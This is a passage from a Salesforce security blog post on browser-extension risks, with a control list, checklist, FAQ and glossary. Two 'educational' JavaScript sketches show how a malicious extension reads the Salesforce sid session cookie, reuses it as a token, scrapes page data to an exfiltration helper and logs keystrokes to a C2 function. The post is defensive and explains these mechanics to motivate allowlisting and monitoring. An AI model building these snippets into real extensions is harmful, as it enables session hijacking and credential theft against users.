Technical Controls Against Social Engineering

  1. Block Uninstalled Connected Apps: Prevents users from authorizing rogue apps (enabled by default in Sept 2025+)
  2. Require Admin App Approval: All OAuth apps need admin pre-authorization
  3. High Assurance MFA: Require MFA for all logins, not just first-time
  4. IP Restrictions: Limit login to known corporate IPs/VPN
  5. Real-Time Alerts: Notify admins of unusual login patterns
  6. Browser Extension Controls: Implement allowlisting to prevent malicious extensions - Salesforce's app controls (such as Connected Apps) do not cover them (See Section 14)

14 Browser Extension Security Risks: The Hidden Threat to Your Salesforce Data

Salesforce Chrome extensions have become an essential part of many users' workflows, offering productivity enhancements and automation capabilities. However, these same extensions represent a significant and often overlooked security vulnerability that can lead to devastating data breaches.

Critical Warning: In December 2024, a supply chain attack compromised at least 35 Chrome extensions exposing roughly 2.6 million users. Attackers phished developer accounts and pushed malicious updates that stole cookies, session tokens, and credentials. A related February 2025 GitLab Threat Intelligence analysis found malicious extensions impacting 3.2+ million users. Even legitimate extensions with excessive permissions can be exploited if compromised.

How Chrome Extensions Can Compromise Salesforce Security

Browser extensions operate with significant privileges that can bypass Salesforce's built-in security controls:

Attack Vector How It Works Impact
Session Hijacking Extension reads Salesforce session cookies (sid) and forwards them to attacker's server Complete account takeover without needing credentials
Credential Harvesting Keylogger functionality captures username/password on login pages Attacker obtains reusable credentials for future access
DOM Manipulation Extension modifies Salesforce pages to inject fake forms or redirect data Users unknowingly submit sensitive data to attackers
API Token Theft Extension intercepts OAuth tokens from browser storage or network requests Persistent API access even after password changes
Data Exfiltration Extension reads and copies data from Salesforce pages in real-time Continuous data theft without triggering API limits
Supply Chain Attack Legitimate extension gets sold or hacked, malicious update pushed to all users Mass compromise of previously trusted extension users

Why Extensions Are Hard to See With Salesforce Security Controls

Unlike Connected Apps that use OAuth and appear in Salesforce's security dashboards, browser extensions are not identified as apps in Salesforce. This makes them dangerous and difficult to detect.

The Hidden Threat: Browser extensions piggyback on your existing authenticated browser session. They don't need their own OAuth token or API credentials - they simply inherit YOUR permissions and act as YOU. Salesforce does not record which actions an extension takes on your behalf; they look like your own actions.

Security Control OAuth Connected Apps Browser Extensions
Visible in Setup > Connected Apps Yes - Listed and manageable No - Not listed
Appears in OAuth Usage Report Yes - Token grants tracked No - Uses session cookie, not OAuth
Admin Can Revoke Access Yes - Revoke tokens anytime No - No per-extension control in Salesforce
Login History Attribution Yes - Shows app name No - Appears as the user's normal session
API Limits Apply Yes - Counted against limits Partial - DOM scraping bypasses API entirely
Setup Audit Trail Logging Yes - App authorization logged No - No installation record in Salesforce
Event Monitoring Detection Yes - API events captured Limited - Only if extension makes API calls
Can Block at Org Level Yes - Blocklist apps No - Requires endpoint/browser management

How Extensions Bypass Salesforce Authentication

When you log into Salesforce, your browser stores a session cookie (the sid cookie). This cookie is what keeps you logged in as you navigate between pages. Here's the critical security gap:

// Normal OAuth Flow (Visible to Salesforce)
// 1. App redirects to Salesforce login
// 2. User authenticates and grants permission
// 3. Salesforce issues access_token to the app
// 4. App uses token for API calls -> LOGGED in Connected Apps OAuth Usage

// Browser Extension Flow (not identified as an app in Salesforce)
// 1. User logs into Salesforce normally
// 2. Browser stores session cookie (sid)
// 3. Extension reads the cookie OR reads page content directly
// 4. Extension acts with the user's permissions -> attributed to the user, not to an app

// Extension accessing data - Salesforce sees this as the USER, not an app
chrome.cookies.get({url: "https://mycompany.my.salesforce.com", name: "sid"},
    function(cookie) {
        // Extension now has full session access
        // Can make requests that appear to come from the user
        fetch("https://mycompany.my.salesforce.com/services/data/v65.0/query?q=SELECT+Id,Name+FROM+Account", {
            headers: { "Authorization": "Bearer " + cookie.value }
        });
        // This API call is attributed to the USER, not any "app"
    }
);

// Even worse - DOM scraping requires NO API calls at all
// Extension just reads what's already displayed on screen
document.querySelectorAll('.slds-table tbody tr').forEach(row => {
    // Silently capture all visible record data
    // No API calls, so no API events for this activity
    exfiltrateToAttacker(row.innerText);
});

Key Insight: When you review "Connected Apps OAuth Usage" in Setup, you might feel secure seeing only approved applications. But browser extensions don't appear there at all. A malicious extension could be exfiltrating data through your session right now, and Salesforce would not list it as an app anywhere. Any API calls it makes are attributed to the user, and reading the screen leaves no API call at all, so the extension itself is best detected and controlled with endpoint management tools outside of Salesforce.

Real-World Extension Attack Scenarios

Scenario 1 - The "Helpful" Productivity Extension: An employee installs a popular Salesforce productivity extension from the Chrome Web Store. The extension legitimately enhances their workflow, but also silently captures every record they view and sends it to an external server. Because the extension has broad permissions to "read and change all your data on salesforce.com," this behavior appears normal to security scanners.

Scenario 2 - The Compromised Update: A trusted extension used by 50,000 Salesforce users is acquired by a new company. The new owner pushes an update that adds telemetry code, which actually harvests session tokens. Within hours, thousands of Salesforce orgs are compromised before anyone notices.

Scenario 3 - The Fake Extension: Attackers create a Chrome extension with a name similar to a popular Salesforce tool (e.g., "Salesforce Inspector Pro" vs legitimate "Salesforce Inspector"). Users install the fake version, which looks identical but contains malicious code.

Dangerous Extension Permissions to Watch For

When reviewing Chrome extensions, these permissions should raise immediate red flags for Salesforce users:

CRITICAL
cookies
Can read Salesforce session cookies (sid) and hijack your authenticated session
Impact: Complete account takeover
CRITICAL
<all_urls>
Grants access to ALL websites you visit, including all Salesforce pages
Impact: Universal data access
HIGH
webRequest
Can intercept and read all network traffic including API calls and data transfers
Impact: Data interception
HIGH
webRequestBlocking
Can modify requests in transit - alter data being sent to Salesforce servers
Impact: Data manipulation
MEDIUM
tabs
Can see all open tabs including Salesforce URLs and page titles
Impact: Activity monitoring
MEDIUM
storage
Can store captured data locally and exfiltrate when ready
Impact: Data staging
MEDIUM
clipboardRead
Can read anything you copy - passwords, sensitive data, record IDs
Impact: Credential theft
MEDIUM
history
Can see your complete browsing history including all Salesforce pages visited
Impact: Behavior tracking

Host Permissions - Salesforce Targeting

Extensions requesting these host permissions have direct access to your Salesforce org:

{
  "host_permissions": [
    "*://*.salesforce.com/*",
    "*://*.force.com/*",
    "*://*.lightning.force.com/*",
    "*://*.my.salesforce.com/*",
    "*://*.cloudforce.com/*"
  ]
}

These patterns match hosts under salesforce.com (including my.salesforce.com), force.com (including lightning.force.com) and cloudforce.com. Any other domain your org uses, such as a custom domain for an Experience Cloud site, is not covered and must be added to the list.

Technical Deep Dive: How Extensions Steal Salesforce Sessions

Understanding the attack mechanics helps you appreciate why this threat is so serious:

// Example: How a malicious extension can steal Salesforce session
// THIS IS FOR EDUCATIONAL PURPOSES - showing what attackers do

// 1. Read Salesforce session cookie
chrome.cookies.get({
    url: "https://yourcompany.my.salesforce.com",
    name: "sid"
}, function(cookie) {
    // Session ID captured - attacker can now impersonate user
    exfiltrateData(cookie.value);
});

// 2. Intercept API responses containing sensitive data
chrome.webRequest.onCompleted.addListener(
    function(details) {
        // Capture all Salesforce API responses
        if (details.url.includes('/services/data/')) {
            // Record data is being exfiltrated
        }
    },
    {urls: ["*://*.salesforce.com/*"]}
);

// 3. Inject keylogger on Salesforce login page
if (window.location.hostname.includes('salesforce.com')) {
    document.addEventListener('keydown', function(e) {
        // Every keystroke sent to attacker's server
        sendToC2Server(e.key);
    });
}

Protection Strategies for Organizations

Implement Browser Extension Allowlisting: Use Chrome Enterprise policies to allow only pre-approved extensions. Block all others by default.
Deploy Endpoint Detection: Use EDR solutions that monitor browser extension behavior for suspicious activity like unusual network connections.
Require Dedicated Browser Profiles: Create a separate Chrome profile for Salesforce access with no extensions installed.
Enable Login IP Restrictions: Even if sessions are stolen, IP restrictions can prevent access from attacker locations.
Monitor Connected App OAuth Activity: Extensions often use OAuth; review and revoke suspicious app authorizations regularly.
Implement Session Security Settings: Lock sessions to IP, enable HTTPS, reduce session timeout to minimize exposure window.

Chrome Enterprise Policy Configuration

For organizations using Google Workspace or Chrome Enterprise, implement these policies to protect Salesforce access:

Block by Default
ExtensionInstallBlocklist
Deny all extensions unless explicitly approved
Allowlist Only
ExtensionInstallAllowlist
Whitelist specific vetted extensions by ID
Force Install
ExtensionInstallForcelist
Auto-install required security extensions
Host Protection
ExtensionSettings: runtime_blocked_hosts
Block extension access to Salesforce domains
{
  "ExtensionInstallBlocklist": ["*"],
  "ExtensionInstallAllowlist": [
    "eimadpbcbfnmbkopoojfekhnkhdbieeh",
    "cjpalhdlnbpafiamejdnhcphjbkeiagm",
    "hdokiejnpimakedhajhdlcegeplioahd"
  ],
  "ExtensionInstallForcelist": [
    "your-security-ext-id;https://your-domain.com/update.xml"
  ],
  "ExtensionAllowedTypes": ["extension", "theme"],
  "ExtensionSettings": {
    "*": {
      "runtime_blocked_hosts": [
        "*://*.salesforce.com",
        "*://*.force.com"
      ]
    }
  }
}
  • ExtensionInstallBlocklist: ["*"] blocks all extensions by default (zero-trust approach).
  • ExtensionInstallAllowlist lists the only extension IDs that can be installed. The three IDs shown are examples (Dark Reader, uBlock Origin, LastPass); replace them with your vetted extensions.
  • ExtensionInstallForcelist auto-installs corporate security extensions. The ID and update URL are placeholders.
  • ExtensionAllowedTypes allows only extensions and themes (no hosted apps).
  • runtime_blocked_hosts blocks extensions from accessing the listed hosts. Patterns hold only scheme, host and domain (no path); add any custom domain your org uses.

Pro Tip: Use the runtime_blocked_hosts setting inside ExtensionSettings as a safety net: Google documents it as the way to block extensions from accessing the hosts you list, and runtime_allowed_hosts can allow specific extensions on those hosts again. Per Google's policy instructions, host patterns use the form scheme://host.domain and "http://example.com/*" (with a path) is invalid. Test the policy on one browser before you roll it out. Deploy via Google Admin Console > Devices > Chrome > Settings.

User Guidelines for Safe Extension Usage

  1. Never install extensions from email links - Always go directly to Chrome Web Store
  2. Check publisher verification - Look for the verified publisher badge in Chrome Web Store
  3. Review permissions carefully - Reject extensions asking for more access than they need
  4. Check reviews and user count - Be suspicious of new extensions with few users
  5. Audit installed extensions monthly - Remove any you no longer actively use
  6. Use separate browser profiles - Keep Salesforce access in a clean profile
  7. Report suspicious extensions - Notify IT security immediately if an extension behaves unexpectedly

Evaluating Salesforce Extensions Before Installation

Evaluation Criteria Safe Indicator Red Flag
Publisher Known company, verified badge, official website Unknown publisher, no verification, no web presence
User Base 10,000+ users, consistent growth over time Few users, sudden spike in installs
Reviews Detailed reviews, mix of positive/critical, verified users Generic praise, uniformly top-rated, review dates clustered
Permissions Minimal permissions matching stated functionality Excessive permissions, access to all sites
Update History Regular updates, changelog provided No updates for years OR recent ownership change
Source Code Open source, code available for review Obfuscated code, closed source for sensitive features

Incident Response: If You Suspect Extension Compromise

1

Immediate Isolation

Disable the suspected extension immediately. Do not uninstall yet - forensics may need it.

2

Revoke All Sessions

In Salesforce: Setup > Session Management > Log out all users. Force password resets.

3

Review OAuth Tokens

Check OAuth Usage report and revoke any suspicious connected app authorizations.

4

Audit Recent Activity

Review Login History, Setup Audit Trail, and Event Monitoring logs for anomalies.

5

Notify Security Team

Report to your security team and consider engaging Salesforce support for guidance.

Best Practice: The safest approach for high-security environments is to access Salesforce from a browser with ZERO extensions installed. Create a dedicated Chrome profile or use a managed browser specifically for Salesforce access.

15 Complete Security Checklist

Use this comprehensive checklist to audit and secure your Salesforce org. Review quarterly at minimum.

Authentication & Access (Priority: Critical)

MFA enabled for all users - No exceptions, including API users if possible
Health Check score 80+ - Fix all high-risk and medium-risk issues
Session timeout 2 hours or less - Shorter for sensitive data access
Password policy enforced - 12+ chars, complexity, 90-day expiry
Login IP restrictions - At minimum for admin profiles

Permissions & Data Access (Priority: High)

Audit Modify All Data permission - Should be System Admin only
Review View All Data permission - Limit to necessary roles
Remove unused permission sets - Delete orphaned sets
FLS configured for sensitive fields - SSN, credit card, health data
Sharing rules reviewed - Ensure no unintended data exposure

Connected Apps & Integrations (Priority: Critical)

Block unknown Connected Apps - Review OAuth Usage monthly
Admin approval required for apps - No user self-authorization
Dedicated integration users - One per integration, minimum permissions
Token expiration configured - 90 days max, enable rotation (idle tokens are limited to 30 days by Salesforce)
Bypass permissions audited - Restrict "Approve Uninstalled Connected Apps" and "Use Any API Client"
External client app migration planned - Connected apps lose support in Summer '27; retire username-password, user-agent and SOAP login() use

Browser Extension Security (Priority: Critical)

Extension allowlist policy implemented - Use Chrome Enterprise to block unapproved extensions (See Section 14)
Dedicated browser profile for Salesforce - Zero extensions installed in Salesforce-only profile
User training on extension risks - Employees understand extensions bypass Salesforce security controls
Endpoint monitoring for extensions - EDR/MDM tracks browser extension installations
Extension audit conducted quarterly - Review all installed Salesforce-related extensions across endpoints
Incident response plan includes extensions - Know steps if malicious extension suspected

Code Security (Priority: High)

No SOQL injection vulnerabilities - Use bind variables or escapeSingleQuotes
FLS enforced in Apex - Use USER_MODE or SECURITY_ENFORCED (default at API v67+)
XSS prevention - Use encoding functions, avoid innerHTML
No DML in constructors - Prevent CSRF vulnerabilities
Security review for AppExchange apps - Pass Salesforce security review

Monitoring & Response (Priority: Medium)

Review login history weekly - Look for unusual patterns
Setup Audit Trail monitored - Alert on critical changes
Event Monitoring enabled - If Shield license available
Incident response plan documented - Know who to contact, steps to take
Security training conducted - Annual for all users

Final Recommendation: Security is an ongoing process, not a one-time task. Schedule quarterly security reviews, monitor official incident notifications on the Salesforce Trust general messages page, and foster a security-conscious culture in your organization.

For related reading, see 7 Ways to Secure Experience Cloud for guest user access and sharing rules, Apex Design Patterns for maintainable Apex that pairs with the secure coding practices here, the Salesforce Scale Center Complete Guide for spotting anomalous request patterns, and 10 Differences Between Salesforce Solution and Technical Architect for how architect roles divide security ownership.

16 Frequently Asked Questions

Yes. MFA has been contractually required for all Salesforce customers since February 2022, and technical enforcement is expanding in mid-2026 to cover SSO logins and sandbox environments, with the platform blocking non-compliant logins.
Permission sets and permission set groups remain Salesforce's recommended access-control model, but there is currently no retirement deadline for permissions on profiles. Organizations should still migrate to permission sets as a best practice rather than waiting for a forced deadline.
Historically no - Apex runs in system context by default. Starting with API version 67.0 (Summer '26), SOQL, SOSL, DML, and Database methods run in user mode by default for code compiled at v67 or later. Code on earlier API versions should explicitly use WITH USER_MODE, WITH SECURITY_ENFORCED, or manual Schema describe checks.
No. The 2025 breach wave exploited social engineering (vishing), OAuth token abuse, and a compromised third-party integration - not flaws in the Salesforce platform itself. Misconfiguration and human factors remain the leading causes of Salesforce data exposure.
Aim for a Health Check score of 80 or higher. The built-in tool scores your org's security settings from 0-100 against the Salesforce Baseline, and a score below 60 indicates critical security gaps that should be fixed immediately.
Only partly. Salesforce does not see which extension acted: extensions piggyback on the user's authenticated session, so they do not appear as an app in Connected Apps or OAuth usage reports, and their activity is attributed to the user. The user and API activity an extension causes can still show up in event monitoring, but screen reading that makes no API calls leaves no API event. The main controls sit outside Salesforce: Chrome Enterprise allowlisting, the runtime_blocked_hosts policy, dedicated browser profiles, and endpoint monitoring.

17 Abbreviations & Glossary

API
Application Programming Interface: the way programs call Salesforce, for example through REST or SOAP.
BYOK
Bring Your Own Key: you supply the key material that Shield Platform Encryption uses.
CSRF
Cross-Site Request Forgery: a malicious page makes a logged-in user's browser send a request the user did not intend.
CSV
Comma-Separated Values: a plain-text file format used for downloads such as login history.
DML
Data Manipulation Language: the Apex operations that insert, update, delete or undelete records.
DOM
Document Object Model: the page structure a browser builds, which an extension can read directly.
EDR
Endpoint Detection and Response: software that monitors laptops and other devices for threats.
FLS
Field-Level Security: controls which fields a user can see or edit.
HTTPS
Hypertext Transfer Protocol Secure: web traffic encrypted in transit.
IP
Internet Protocol address: the network address a login or request comes from.
JWT
JSON Web Token: a signed token, used for example in the OAuth JWT bearer flow.
LWC
Lightning Web Components: Salesforce's component framework for the user interface.
LWS
Lightning Web Security: the security architecture that isolates Lightning Web Components code.
MDM
Mobile Device Management: tooling that manages and configures company devices.
MFA
Multi-Factor Authentication: signing in with more than one kind of proof, such as a password plus an authenticator.
OAuth
Open Authorization: the standard that lets an app get access to Salesforce without the user's password.
OWASP
Open Worldwide Application Security Project: the community behind the OWASP Top 10 list of web risks.
PKCE
Proof Key for Code Exchange: an OAuth extension that stops an attacker from exchanging a stolen authorization code.
SOAP
Simple Object Access Protocol: an older Salesforce API style; its login() call is being retired, see section 7.
SOQL
Salesforce Object Query Language: the query language for Salesforce records.
SOSL
Salesforce Object Search Language: the search language for Salesforce records.
SSO
Single Sign-On: logging in to Salesforce through your company's identity provider.
TOTP
Time-based One-Time Password: the six-digit codes that authenticator apps generate.
TTL
Time to Live: how long a token stays valid; for refresh tokens, how long it can sit idle.
UI
User Interface: the screens people use, as opposed to the API.
URL
Uniform Resource Locator: a web address.
VPN
Virtual Private Network: an encrypted connection to a company network.
XSS
Cross-Site Scripting: injecting script into a page so it runs in another user's browser.
Link copied to clipboard!
@
Previous Post
OmniScript Debugging Methods
Next Post
Salesforce Packaging Options – A Comprehensive Guide for Enterprise Development
Archives by Year
2026 17 2025 16 2024 2 2023 9 2022 8 2021 4 2020 18 2019 16 2018 21 2017 34 2016 44 2015 54 2014 30 2013 31 2012 46 2011 114 2010 162
Search Blog

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Discover more from Jitendra Zaa

Subscribe now to keep reading and get access to the full archive.

Continue Reading